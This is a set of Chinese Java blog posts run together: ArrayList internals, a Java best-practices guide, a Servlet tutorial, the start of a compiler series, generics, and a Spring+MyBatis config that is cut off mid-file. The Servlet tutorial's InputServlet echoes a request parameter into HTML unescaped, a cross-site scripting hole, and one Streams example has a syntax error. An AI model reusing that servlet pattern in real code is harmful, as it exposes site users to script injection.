public static <T> T[] copyOf(T[] original, int newLength) {
        return (T[]) copyOf(original, newLength, original.getClass());
    }

public static <T,U> T[] copyOf(U[] original, int newLength, Class<? extends T[]> newType) {
        T[] copy = ((Object)newType == (Object)Object[].class)
            ? (T[]) new Object[newLength]
            : (T[]) Array.newInstance(newType.getComponentType(), newLength);
        System.arraycopy(original, 0, copy, 0,
                         Math.min(original.length, newLength));
        return copy;
    }

最终调用了方法：

public static void arraycopy(Object src,int srcPos,Object dest,int destPos,int length)

它的参数列表如下：

src - 源数组。
srcPos - 源数组中的起始位置。 
dest - 目标数组。
destPos - 目标数据中的起始位置。
length - 要复制的数组元素的数量。



从指定源数组中复制一个数组，复制从指定的位置开始，到目标数组的指定位置结束。这个方法是一个 native方法，并且经测试，如果是引用数组类型，它不会真正复制对象，只是复制引用（浅复制）

trimToSize

将此 ArrayList 实例的容量调整为列表的当前大小。应用程序可以使用此操作来最小化 ArrayList 实例的存储量。

public void trimToSize() {
        modCount++;
        int oldCapacity = elementData.length;
        if (size < oldCapacity) {
            elementData = Arrays.copyOf(elementData, size);
        }
    }

由此可知:在 ArrayList容量确定下来以后，可以调用这个方法最小化存储空间

Fast-Fail快速失败机制

此类的 iterator 和 listIterator 方法返回的迭代器是快速失败的：在创建迭代器之后，除了通过迭代器自身的 remove 或 add 方法从结构上对列表进行修改，否则在任何时间以任何方式对列表进行修改，迭代器都会抛出 ConcurrentModificationException。因此，面对并发的修改，迭代器很快就会完全失败，而不是冒着在将来某个不确定时间发生任意不确定行为的风险。
注意，迭代器的快速失败行为无法得到保证，快速失败迭代器会尽最大努力抛出 ConcurrentModificationException。迭代器的快速失败行为应该仅用于检测 bug。
前面说到 ArrayList中定义了一个 modCount来记录对容器进行结构修改的次数，在 add、 addAll、 remove、 clear、 clone方法中都会引起 modCount变化，而在创建迭代器时，会使用局部变量保存当前的 modCount值：

private class Itr implements Iterator<E> {
        int cursor;       // index of next element to return
        int lastRet = -1; // index of last element returned; -1 if no such
        int expectedModCount = modCount;
        ...

在进行迭代的过程中，会先检查 modCount 有没有发生变化，以此来判定是否有外部操作改变了容器：

 final void checkForComodification() {
            if (modCount != expectedModCount)
                throw new ConcurrentModificationException();
        }

最后，因为 ArrayList是非同步的，因此，在多线程环境下，如果有对容器进行结构修改的操作，则必须使用外部同步。
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原文地址：这里



Java是目前世界上最流行的编程语言之一，但是并不是所有人都乐于使用它。不过Java其实是一个还不错的语言，也别是自从Java 8正式发布之后，所以我决定将我的一些实践、库和工具列举下来以供大家参考。

Style(样式)

传统而言，Java是习惯以冗长的JavaBean方式来定义某个数据对象，新的样式可能会更清晰和保证准确性。

Structs(结构体)

在编程中程序员最常见的操作就是进行数据传递，传统的方式是JavaBean，如下所示：

public class DataHolder {
    private String data;

    public DataHolder() {
    }

    public void setData(String data) {
        this.data = data;
    }

    public String getData() {
        return this.data;
    }
}

不过这种方式是冗长并且浪费资源的，即便你的编辑器能够自动生成这种代码。作为替代方法，我宁可选择使用C风格里的结构体样式去编写这种容器数据：

public class DataHolder {
    public final String data;
    public DataHolder(String data) {
        this.data = data;
    }
}

这种方式几乎可以使得代码的行数减半，除此之外，这种类是不可变的类，所以在某些情况下我们可以放心的使用它。如果你是希望能够用Map或者List这些结构体去存储对象而使得修改变得简单一点，可以使用ImmutableMap或者ImmutableList，这部分会在下面讨论。

Builder模式

如果你的数据元结构比较复杂，可以考虑使用如下的Builder模式。Builder模式在数据类构造器中定义了一个子类，使用可变状态，不过一旦创建之后就会变得不可改变：

public class ComplicatedDataHolder {
    public final String data;
    public final int num;
    // lots more fields and a constructor

    public static class Builder {
        private String data;
        private int num;

        public Builder data(String data) {
            this.data = data;
            return this;
        }

        public Builder num(int num) {
            this.num = num;
            return this;
        }

        public ComplicatedDataHolder build() {
            return new ComplicatedDataHolder(data, num); // etc
        }  
    }        
}

然后可以按照如下去使用：

final ComplicatedDataHolder cdh = new ComplicatedDataHolder.Builder()
    .data("set this")
    .num(523)
    .build();

Dependency injection(依赖注入)

依赖注入更多的从属于软件工程的范畴而不是Java的范畴，但是去撰写可测试的软件的最好的方式就是使用依赖注入。因为Java强烈推荐OO的设计方式，为了让软件具有较好的可测试性，可以去使用依赖注入。

在Java领域，最经典的DI框架当属Spring，它提供了基于代码的注入以及基于XML配置的注入方式。不过Spring确实有点繁琐，如果单纯的只是想使用依赖注入这个功能，可以选择Google 和 Square的 Dagger 库 或者 Google's Guice.

避免空指针

尽可能地避免使用空指针。特别是在可能返回空的集合的情况下务必返回一个内容为空的集合而不是一个null。如果使用的是Java 8 ，可以使用新的Optional类型来避免可能的空指针：

public class FooWidget {
    private final String data;
    private final Optional<Bar> bar;

    public FooWidget(String data) {
        this(data, Optional.empty());
    }

    public FooWidget(String data, Optional<Bar> bar) {
        this.data = data;
        this.bar = bar;
    }

    public Optional<Bar> getBar() {
        return bar;
    }
}

根据上述代码可以知道，返回的数据肯定不会为null类型，不过bar不一定是present的。

final Optional<FooWidget> fooWidget = maybeGetFooWidget();
final Baz baz = fooWidget.flatMap(FooWidget::getBar)
                         .flatMap(BarWidget::getBaz)
                         .orElse(defaultBaz);

Immutable-by-default(默认不可变)

	java-advantages-of-of-immutable-objects-in-examples






除非有特殊的理由，否则变量、类以及集合应该默认设置为不可变。其中变量类型可以使用final关键字来设置不可变性：

final FooWidget fooWidget;
if (condition()) {
    fooWidget = getWidget();
} else {
    try {
        fooWidget = cachedFooWidget.get();
    } catch (CachingException e) {
        log.error("Couldn't get cached value", e);
        throw e;
    }
}
// fooWidget is guaranteed to be set here

这种方式进行变量操作就可以确保fooWidget不会被偶然的改变指向，final关键字可以作用于if-else代码块以及try-catch代码块。对于集合类型，应该在任何允许的情况下使用Guava 的ImmutableMap,ImmutableList, 或者 ImmutableSet 类。他们都含有构造器类型，可以使用Builder进行动态构造最终调用build方法设置为不可变。

而对于类，可以通过设置其成员变量为final类型来将其变为不可变类型。另外，也可以将类本身设置为final类型来保证其不可以被扩展或者设置为可变类型。

Avoid lots of Util Classes(避免使用大量工具类)

一不注意，就会发现自己写了N多的Util类，譬如：

public class MiscUtil {
    public static String frobnicateString(String base, int times) {
        // ... etc
    }

    public static void throwIfCondition(boolean condition, String msg) {
        // ... etc
    }
}

这些类看上去很有作用，因为它们并不属于任何逻辑模块，所以可以尽可能的代码重用。不过所谓是药三分毒，在程序中更应当把这些类放置在他们属于的地方，或者使用Java 8添加的接口中的默认方法来设置一些通用方法，其使用方式如下：

public interface Thrower {
    default void throwIfCondition(boolean condition, String msg) {
        // ...
    }

    default void throwAorB(Throwable a, Throwable b, boolean throwA) {
        // ...
    }
}

这样每个需要使用这些接口的类可以方便的进行自定义。

格式化

格式化本身的重要性不亚于编程本身，很多优秀的程序员会花一天的时间去为if代码块添加空格从而使代码看起来更加的整齐。如果需要一个完整的代码格式指南，可以参考Google的Google's Java Style ，特别是其中的Programming Practices 非常有意义。

JavaDoc

为你的代码添加JavaDoc同样非常重要，可以参考这个示例： using examples

Streams

Java 8提供了非常Nice的Stream API，可以用如下的写法：

final List<String> filtered = list.stream()
    .filter(s -> s.startsWith("s"))
    .map(s -> s.toUpperCase())
    .collect(Collectors.toList());

来替代：

final List<String> filtered = new ArrayList<>();
for (String str : list) {
    if (str.startsWith("s") {
        filtered.add(str.toUpperCase());
    }
}

这样可以帮助你写更多的高可读性的、流畅的代码。

Deploying(部署)

部分Java代码可能需要一定的技巧性，目前一般来说部署Java主要有两种方式：使用某个框架或者是有一个本地化的可伸缩框架。

Frameworks(框架)

框架是你部署Java代码的一个很好地方式，其中较好的选择有Dropwizard与Spring Boot。另外Play framework 也是一个不错的选择。

Maven

Maven是一个非常优秀的Java编译与依赖管理工具，通过如下方式可以方便的添加Maven依赖项：

<dependencies>
    <dependency>
        <groupId>org.third.party</groupId>
        <artifactId>some-artifact</artifactId>
    </dependency>
</dependencies>

关于Maven的具体使用可以参考笔者的其余文章



Dependence Convergence(依赖收敛)

Java中一个巨大的魅力即在于有大量的第三方类库可供参考，有必要将所有用到的API或者SDK置于Maven最后那个。不过各种类库之间往往也是相互依赖的，譬如：

Foo library depends on Bar library v1.0
Widget library depends on Bar library v0.9

利用Maven dependency convergence plugin,在编译的时候会告警有一个依赖项依赖不同的版本，一般来说，可以用如下方式处理：

1.在dependenceManagement块选择一个特定的版本。

2.在Foo或者Widget依赖项中使用Exclude移除Bar。

Continuous Integration(持续集成)

在大型项目开发中，往往需要一些持续集成工具来不断基于git构建测试版本，其中Jenkins 和Travis-CI 是较常见的选择。另外，在正式的构建之前往往需要使用代码测试工具，Cobertura就是一个非常好用的测试覆盖率校验工具。

Maven Repository

在大型项目开发中，往往会需要一个Repo去存放私人的Jars、Wars以及EARs。Artifactory 与 Nexus都是不错的选择。

Configuration Management(配置管理)

Chef, Puppet, 以及 Ansible 都是不错的选择。

Libraries

可能Java最优秀的属性就是它的大量的扩展库，本部分列举了部分常用的扩展库。

Missing Features(遗失的特性)

Apache Commons

The Apache Commons project 包含了一些列常用的库.


	Commons Codec 包含了大量有用的编码与解码的方法。


	Commons Lang 包含了大量的字符串处理以及字符编码相关的方法。


	Commons IO 包含了大量与文件相关的操作。 It has FileUtils.copyDirectory, FileUtils.writeStringToFile,IOUtils.readLines and much more.




Guava

Guava is Google's excellent here's-what-Java-is-missing library.

Gson

Google's Gson library is a simple and fast JSON parsing library. Itworks like this:

final Gson gson = new Gson();
final String json = gson.toJson(fooWidget);

final FooWidget newFooWidget = gson.fromJson(json, FooWidget.class);

It's really easy and a pleasure to work with. The Gson user guidehas many more examples.

Java Tuples

Java的标准库未能提供Tuples相关的数据结构是一个很大的遗憾。幸亏 Java tuples项目填补了这个空白:

Pair<String, Integer> func(String input) {
    // something...
    return Pair.with(stringResult, intResult);
}

Lombok

Lombok 是一个非常有趣的类库，通过注解方式可以允许减少Java存在的冗余代码，譬如以下的常见的Getter/Setter代码的功能：

public class Foo {
    @Getter @Setter private int var;
}

而现在可以这么写：

final Foo foo = new Foo();
foo.setVar(5);

Play framework

Good alternatives: Jersey or Spark

There are two main camps for doing RESTful web services in Java: JAX-RS and everything else.

JAX-RS is the traditional way. You combine annotations with interfaces andimplementations to form the web service using something like Jersey.What's nice about this is you can easily make clients out of just the interface class.

The Play framework is a radically different take on web services onthe JVM: you have a routes file and then you write the classes referenced inthose routes. It's actually an entire MVC framework, but you caneasily use it for just REST web services.

It's available for both Java and Scala. It suffers slightly from being Scala-first, but it's still good to use in Java.

If you're used to micro-frameworks like Flask in Python, Spark willbe very familiar. It works especially well with Java 8.

SLF4J

There are a lot of Java logging solutions out there. My favorite isSLF4J because it's extremely pluggable and can combine logs from manydifferent logging frameworks at the same time. Have a weird project that usesjava.util.logging, JCL, and log4j? SLF4J is for you.

The two-page manual is pretty much all you'll need to getstarted.

JOOQ

I dislike heavy ORM frameworks because I like SQL. So I wrote a lot ofJDBC templates and it was sort of hard to maintain. jOOQ is amuch better solution.

It lets you write SQL in Java in a type safe way:

// Typesafely execute the SQL statement directly with jOOQ
Result<Record3<String, String, String>> result = 
create.select(BOOK.TITLE, AUTHOR.FIRST_NAME, AUTHOR.LAST_NAME)
    .from(BOOK)
    .join(AUTHOR)
    .on(BOOK.AUTHOR_ID.equal(AUTHOR.ID))
    .where(BOOK.PUBLISHED_IN.equal(1948))
    .fetch();

Using this and the DAO pattern, you can make database access a breeze.

Testing

jUnit 4

jUnit needs no introduction. It's the standard tool for unit testingin Java.

But you're probably not using jUnit to its full potential. jUnit supportsparametrized tests, rules to stop you from writingso much boilerplate, theories to randomly test certain code,and assumptions.

jMock

If you've done your dependency injection, this is where it pays off: mockingout code which has side effects (like talking to a REST server) and stillasserting behavior of code that calls it.

jMock is the standard mocking tool for Java. It looks like this:

public class FooWidgetTest {
    private Mockery context = new Mockery();

    @Test
    public void basicTest() {
        final FooWidgetDependency dep = context.mock(FooWidgetDependency.class);

        context.checking(new Expectations() {{
            oneOf(dep).call(with(any(String.class)));
            atLeast(0).of(dep).optionalCall();
        }});

        final FooWidget foo = new FooWidget(dep);

        Assert.assertTrue(foo.doThing());
        context.assertIsSatisfied();
    }
}

This sets up a FooWidgetDependency via jMock and then adds expectations. Weexpect that dep's call method will be called once with some String and thatdep's optionalCall method will be called zero or more times.

If you have to set up the same dependency over and over, you should probablyput that in a test fixture and put assertIsSatisfied in an@After fixture.

AssertJ

Do you ever do this with jUnit?

final List<String> result = some.testMethod();
assertEquals(4, result.size());
assertTrue(result.contains("some result"));
assertTrue(result.contains("some other result"));
assertFalse(result.contains("shouldn't be here"));

This is just annoying boilerplate. AssertJ solves this. You cantransform the same code into this:

assertThat(some.testMethod()).hasSize(4)
                             .contains("some result", "some other result")
                             .doesNotContain("shouldn't be here");

This fluent interface makes your tests more readable. What more could you want?

Tools

IntelliJ IDEA

Good alternatives: Eclipse and Netbeans

The best Java IDE is IntelliJ IDEA. It has a ton of awesomefeatures, and is really the main thing that makes the verbosity of Javabareable. Autocomplete is great, the inspections are top notch, and the refactoringtools are really helpful.

The free community edition is good enough for me, but there are loads of greatfeatures in the Ultimate edition like database tools, Spring Framework supportand Chronon.

Chronon

One of my favorite features of GDB 7 was the ability to travel back in timewhen debugging. This is possible with the Chronon IntelliJ pluginwhen you get the Ultimate edition.

You get variable history, step backwards, method history and more. It's alittle strange to use the first time, but it can help debug some reallyintricate bugs, Heisenbugs and the like.

JRebel

Continuous integration is often a goal of software-as-a-service products. Whatif you didn't even need to wait for the build to finish to see code changeslive?

That's what JRebel does. Once you hook up your server to your JRebelclient, you can see changes on your server instantly. It's a huge time savingswhen you want to experiment quickly.

The Checker Framework

Java's type system is pretty weak. It doesn't differentiate between Stringsand Strings that are actually regular expressions, nor does it do anytaint checking. However, the Checker Frameworkdoes this and more.

It uses annotations like @Nullable to check types. You can even define your own annotations to make the static analysis done evenmore powerful.

Eclipse Memory Analyzer

Memory leaks happen, even in Java. Luckily, there are tools for that. The besttool I've used to fix these is the Eclipse Memory Analyzer. It takes aheap dump and lets you find the problem.

There's a few ways to get a heap dump for a JVM process, but I usejmap:

$ jmap -dump:live,format=b,file=heapdump.hprof -F 8152
Attaching to process ID 8152, please wait...
Debugger attached successfully.
Server compiler detected.
JVM version is 23.25-b01
Dumping heap to heapdump.hprof ...
... snip ...
Heap dump file created

Then you can open the heapdump.hprof file with the Memory Analyzer and seewhat's going on fast.

Resources(资源)

Books(书籍)
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	[Java Concurrency in Practice
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Servlet（服务端小程序）是使用Java语言编写的服务端小程序，可以用于生成动态的Web页面。


Servlet处理的基本流程






	客户端通过HTTP提出请求。

	Web服务器接受该请求并将其发送给Servlet。如果这个Servlet还没有被加载，Web服务器会将它加载到Java虚拟机并执行它。

	Servlet程序将接收该HTTP请求并执行某种处理。

	Servlet会将处理后的结果向Web服务器返回应答。

	Web服务器将从Servlet收到的应答发回给客户端。



在整个Servlet程序中，最重要的就是Servlet接口，在此接口下定义了一个GenericServlet的子类，但是一般不会直接继承这个子类，而是根据不同的协议选择GenericServlet的子类来继承，例如：



用Servlet来写一个“Hello World”


首先我们要明确的一件事是：在处理HTTP请求的Servlet程序中，肯定要继承HttpServlet类，那么在自定义的Servlet中至少要覆写HttpServlet中提供的doGet()方法。


javapackage servlet;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class HelloServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter out = resp.getWriter();
        out.print("<html><head><title>First Servlet</title></head>");
        out.println("<body>");
        out.println("

<h1>Hello world</h1>

");
        out.println("</body></html>");
        out.close();
    }
}



写好这个Servlet然后编译，还不能访问，因为我们还需要找到一个钩子让网页跟我们的Servlet联系起来。那么这个“钩子”就是配置web.xml的路由映射：


xml<servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>servlet.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/helloServlet</url-pattern>
</servlet-mapping>



这样，就可以通过../helloServlet查看效果：



一个表单实例


如果表单使用的是post的方式提交的，所以在编写Servlet程序时要使用doPost()方法。
input.html:


html<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>信息录入</title>
</head>
<body>
<form action="inputServlet" method="post">
    输入内容： <input type="text" name="info"/>
    <input type="submit" value="提交"/>
</form>
</body>
</html>



InputServlet.java:


javapackage servlet;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

/**
 * Created by mcbird on 14/11/24.
 */
public class InputServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String info = req.getParameter("info");
        PrintWriter out = resp.getWriter();
        out.println("<html><body>");
        out.println("

<h1>" + info + "</h1>

");
        out.println("</body></html>");
        out.close();
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doGet(req, resp);
    }
}



同样，我们也需要在web.xml下添加一条路由映射规则：
web.xml:


xml<servlet>
        <servlet-name>input</servlet-name>
        <servlet-class>servlet.InputServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>input</servlet-name>
        <url-pattern>/inputServlet</url-pattern>
    </servlet-mapping>



这样我们在input.html中输入信息后就会跳转到InputServlet，这样InputServlet就可以通过req对象获取到info变量的值。


Servlet生命周期


Servlet的生命周期包括加载程序、初始化、服务、销毁、卸载5个部分，如下图所示。



加载Servlet


当Web容器启动时或者是在第一次使用这个Servlet时，容器会负责创建Servlet实例，但是必须在web.xml中指定Servlet的位置，成功加载后，Web容器会通过反射的方式对Servlet进行实例化。


初始化


当一个Servlet被实例化后，容器将调用init()方法初始化这个对象，初始化的目的是为了让Servlet对象在处理客户端请求前完成一系列初始化的工作，像建立数据库的连接、读取资源文件信息等，如果初始化时失败了，那么Servlet将被直接卸载。


处理服务


当有请求提交时，Servlet将调用service()方法（常用的是doGet()或doPost()）进行处理。


销毁


当Web容器关闭或者检测到一个Servlet要从容器中被删除时，会自动调用destroy()方法，以便让实例释放掉所占用的资源。


卸载


当一个Servlet调用完destroy()方法后，此实例将等待被垃圾收集器所回收，如果需要再次使用此Servlet时，会重新调用init()方法进行初始化。



  在默认情况下，初始化方法是在第一次使用时才调用，你也可以通过在web.xml中配置servlet的<load-on-startup>1</load-on-startup>这样在容器启动时Servlet就会被初始化。




 从零开始写个编译器吧 - 从何处下手
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作为本系列的第一章，将考虑从何开始下手。既然写的是编译器，那在此得明确编译器长什么样子，进一步，编译器由哪几部分构成，其工作原理大概是怎样的。了解了这些，才好下手。

简单来说，编译器本身是一个程序，这个程序能将一种代码（源代码）翻译成另一种代码（目标代码）。简而言之就是如下图。



而本系列中设计出来以供编译的语言——tao 语言，也就扮演着“源代码”的角色。

而编译器，会将 tao 语言编译成目标代码以供执行。那么，是何种目标代码呢？实际上我并没有打算写一个直接生成可执行程序的编译器，换句话说，该编译器生成的目标代码不可以直接（在操作系统上）运行。因此，我需要为 tao 语言创造一个运行环境。



相对于之第一张图，第二张图多了tao runtime environment 这个东东。这即是 tao 语言的运行环境。目标代码将在此运行环境上解释执行。

但是，tao 语言作为一门语言，还必须要配一个标准库。为此，在图中加上标准库，便有了如下图。



至此，我们的任务也就清晰的呈现在眼前了。如果我们想让世界上出现一门叫做 tao 语言的新语言，并且能让程序员用这种语言写的程序能顺利运行，我们至少要做出下面三个东西：

编译器：能将 tao 语言写的源代码编译成可供运行环境解释执行的目标代码。
运行环境：解释执行编译器产生的目标代码。
标准库：供 tao 语言的用户调用的类库。

从零开始写个编译器吧 - 从何处下手 - moskize 的博客
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根据《Java编程思想 （第4版）》中的描述，泛型出现的动机在于：

有许多原因促成了泛型的出现，而最引人注意的一个原因，就是为了创建容器类。



泛型类

容器类应该算得上最具重用性的类库之一。先来看一个没有泛型的情况下的容器类如何定义：

public class Container {
    private String key;
    private String value;

    public Container(String k, String v) {
        key = k;
        value = v;
    }
    
    public String getKey() {
        return key;
    }

    public void setKey(String key) {
        this.key = key;
    }

    public String getValue() {
        return value;
    }

    public void setValue(String value) {
        this.value = value;
    }
}

Container类保存了一对key-value键值对，但是类型是定死的，也就说如果我想要创建一个键值对是String-Integer类型的，当前这个Container是做不到的，必须再自定义。那么这明显重用性就非常低。

当然，我可以用Object来代替String，并且在Java SE5之前，我们也只能这么做，由于Object是所有类型的基类，所以可以直接转型。但是这样灵活性还是不够，因为还是指定类型了，只不过这次指定的类型层级更高而已，有没有可能不指定类型？有没有可能在运行时才知道具体的类型是什么？

所以，就出现了泛型。

public class Container<K, V> {
    private K key;
    private V value;

    public Container(K k, V v) {
        key = k;
        value = v;
    }

    public K getKey() {
        return key;
    }

    public void setKey(K key) {
        this.key = key;
    }

    public V getValue() {
        return value;
    }

    public void setValue(V value) {
        this.value = value;
    }
}

在编译期，是无法知道K和V具体是什么类型，只有在运行时才会真正根据类型来构造和分配内存。可以看一下现在Container类对于不同类型的支持情况：

public class Main {

    public static void main(String[] args) {
        Container<String, String> c1 = new Container<String, String>("name", "findingsea");
        Container<String, Integer> c2 = new Container<String, Integer>("age", 24);
        Container<Double, Double> c3 = new Container<Double, Double>(1.1, 2.2);
        System.out.println(c1.getKey() + " : " + c1.getValue());
        System.out.println(c2.getKey() + " : " + c2.getValue());
        System.out.println(c3.getKey() + " : " + c3.getValue());
    }
}

输出：

name : findingsea
age : 24
1.1 : 2.2

泛型接口

在泛型接口中，生成器是一个很好的理解，看如下的生成器接口定义：

public interface Generator<T> {
    public T next();
}

然后定义一个生成器类来实现这个接口：

public class FruitGenerator implements Generator<String> {

    private String[] fruits = new String[]{"Apple", "Banana", "Pear"};

    @Override
    public String next() {
        Random rand = new Random();
        return fruits[rand.nextInt(3)];
    }
}

调用：

public class Main {

    public static void main(String[] args) {
        FruitGenerator generator = new FruitGenerator();
        System.out.println(generator.next());
        System.out.println(generator.next());
        System.out.println(generator.next());
        System.out.println(generator.next());
    }
}

输出：

Banana
Banana
Pear
Banana

泛型方法

一个基本的原则是：无论何时，只要你能做到，你就应该尽量使用泛型方法。也就是说，如果使用泛型方法可以取代将整个类泛化，那么应该有限采用泛型方法。下面来看一个简单的泛型方法的定义：

public class Main {

    public static <T> void out(T t) {
        System.out.println(t);
    }

    public static void main(String[] args) {
        out("findingsea");
        out(123);
        out(11.11);
        out(true);
    }
}

可以看到方法的参数彻底泛化了，这个过程涉及到编译器的类型推导和自动打包，也就说原来需要我们自己对类型进行的判断和处理，现在编译器帮我们做了。这样在定义方法的时候不必考虑以后到底需要处理哪些类型的参数，大大增加了编程的灵活性。

再看一个泛型方法和可变参数的例子：

public class Main {

    public static <T> void out(T... args) {
        for (T t : args) {
            System.out.println(t);
        }
    }

    public static void main(String[] args) {
        out("findingsea", 123, 11.11, true);
    }
}

输出和前一段代码相同，可以看到泛型可以和可变参数非常完美的结合。

以上，泛型的第一部分的结束。
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前言


最近开始尝试使用久负盛名的SM框架——Spring+Mybatis进行Web开发，从此走上了Spring配置的不归路。说句实在话，Spring是我特么见过所有WEB工程里面最难配的，因为必须要对它那一套非侵入的设计思想有所了解才能在出问题时迅速判断是不是配置错误，进而定位配置错误所在。首先，做个简单的总结，Spring的配置现在大致有三种：



	XML配置，时间最长，最主流，也最恶心的配置方法

	使用配置类+注解，推出有一段时间了，用的人不多，与其他框架集成的时候大部分还是绕不过XML。个人觉得没啥卵用。

	Spring4新推出的Boot，对新手是友好了，但是不利于了解这个框架，而且遇到问题能查的资料少



综上，我最后还是选择了XML作为开发的标配，下面以 Spring+Mybatis配置作为示例


Maven依赖文件——pom.xml


没啥好讲的，java程序员都知道


XML<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>suemi</groupId>
    <artifactId>sbeat</artifactId>
    <packaging>war</packaging>
    <version>0.0.1-SNAPSHOT</version>
    <name>SBEAT</name>
    <url>http://maven.apache.org</url>

    <properties>
        <mysql.connector.version>5.1.21</mysql.connector.version>
        <spring.version>4.1.6.RELEASE</spring.version>
        <junit.version>4.12</junit.version>
        <velocity.version>1.6.1</velocity.version>
        <velocity.tools.version>2.0</velocity.tools.version>
        <mock.version>2.0.8</mock.version>
        <mybatis.version>3.3.0</mybatis.version>
        <mybatis-spring.version>1.2.2</mybatis-spring.version>
    </properties>

    <dependencies>

        <!-- velocity -->
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-context-support</artifactId>
            <version>${spring.version}</version>
        </dependency>
        <dependency>
            <groupId>org.apache.velocity</groupId>
            <artifactId>velocity</artifactId>
            <version>${velocity.version}</version>
        </dependency>
        <dependency>
            <groupId>org.apache.velocity</groupId>
            <artifactId>velocity-tools</artifactId>
            <version>${velocity.tools.version}</version>
        </dependency>

        <!-- jsp support -->
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>3.1.0</version>
            <scope>provided</scope>
        </dependency>

        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <version>1.2</version> <!-- just used the latest version, make sure you use the one you need -->
            <scope>provided</scope>
        </dependency>

        <!-- test support -->
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>${junit.version}</version>
            <scope>test</scope>
        </dependency>

        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-test</artifactId>
            <version>${spring.version}</version>
        </dependency>



        <!-- mybatis support -->
        <dependency>
            <groupId>org.mybatis</groupId>
            <artifactId>mybatis</artifactId>
            <version>${mybatis.version}</version>
        </dependency>

        <dependency>
            <groupId>org.mybatis</groupId>
            <artifactId>mybatis-spring</artifactId>
            <version>${mybatis-spring.version}</version>
        </dependency>

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-dbcp2</artifactId>
            <version>2.0</version>
        </dependency>

        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>${mysql.connector.version}</version>
        </dependency>

        <!-- Spring support -->
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-core</artifactId>
            <version>${spring.version}</version>
        </dependency>

        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-web</artifactId>
            <version>${spring.version}</version>
        </dependency>

        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-webmvc</artifactId>
            <version>${spring.version}</version>
        </dependency>

        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-orm</artifactId>
            <version>${spring.version}</version>
        </dependency>

        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-tx</artifactId>
            <version>${spring.version}</version>
        </dependency>



    </dependencies>
    <build>
        <finalName>sbeat</finalName>
    </build>
</project>




web.xml


wweb.xml规定了有哪些显式的servlet，规定了最顶层的Context环境，是整个的纲领。它同时规定了对于哪些URL的请求归哪些servlet处理，哪些URL使用哪种编码方式。需要注意的是，对于没有人为指定配置文件的servlet，会自动在WEB-INF文件夹下找servletName-servlet.xml的文件作为其配置。


XML

<web-app id="WebApp_ID" version="2.4"
 xmlns="http://java.sun.com/xml/ns/j2ee"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee 
 http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">

  <display-name>sbeat</display-name>

  <filter>
        <filter-name>characterEncodingFilter</filter-name>
        <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
        <init-param>
            <param-name>encoding</param-name>
            <param-value>UTF-8</param-value>
        </init-param>
        <init-param>
            <param-name>forceEncoding</param-name>
            <param-value>true</param-value>
        </init-param>
    </filter>

    <filter-mapping>
        <filter-name>characterEncodingFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>


    <servlet>
        <servlet-name>sbeat</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <load-on-startup>1</load-on-startup>
    </servlet>

    <servlet-mapping>
        <servlet-name>sbeat</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

    <context-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>classpath*:applicationContext.xml</param-value>
        <!--指定Context的配置文件-->
    </context-param>

    <listener>
        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>

</web-app>




URL分发


这里主要就是控制器的扫描，以及配置模板引擎，以velocity模板为例


XML<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:context="http://www.springframework.org/schema/context" xmlns:p="http://www.springframework.org/schema/p"
    xmlns:mvc="http://www.springframework.org/schema/mvc" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans
      http://www.springframework.org/schema/beans/spring-beans-4.0.xsd
      http://www.springframework.org/schema/context
      http://www.springframework.org/schema/context/spring-context.xsd
      http://www.springframework.org/schema/mvc
      http://www.springframework.org/schema/mvc/spring-mvc-4.0.xsd">

    <!--这一句处理对静态资源的访问-->
    <mvc:default-servlet-handler />
    <!--这一句指定了扫描注解生成Controller的根包名-->
    <context:component-scan base-package="sbeat" />
    <!--这一句相当于开启注解扫描功能-->
    <mvc:annotation-driven />


    <!--规定模板文件的类型和位置-->
    <bean id="velocityConfigurer"
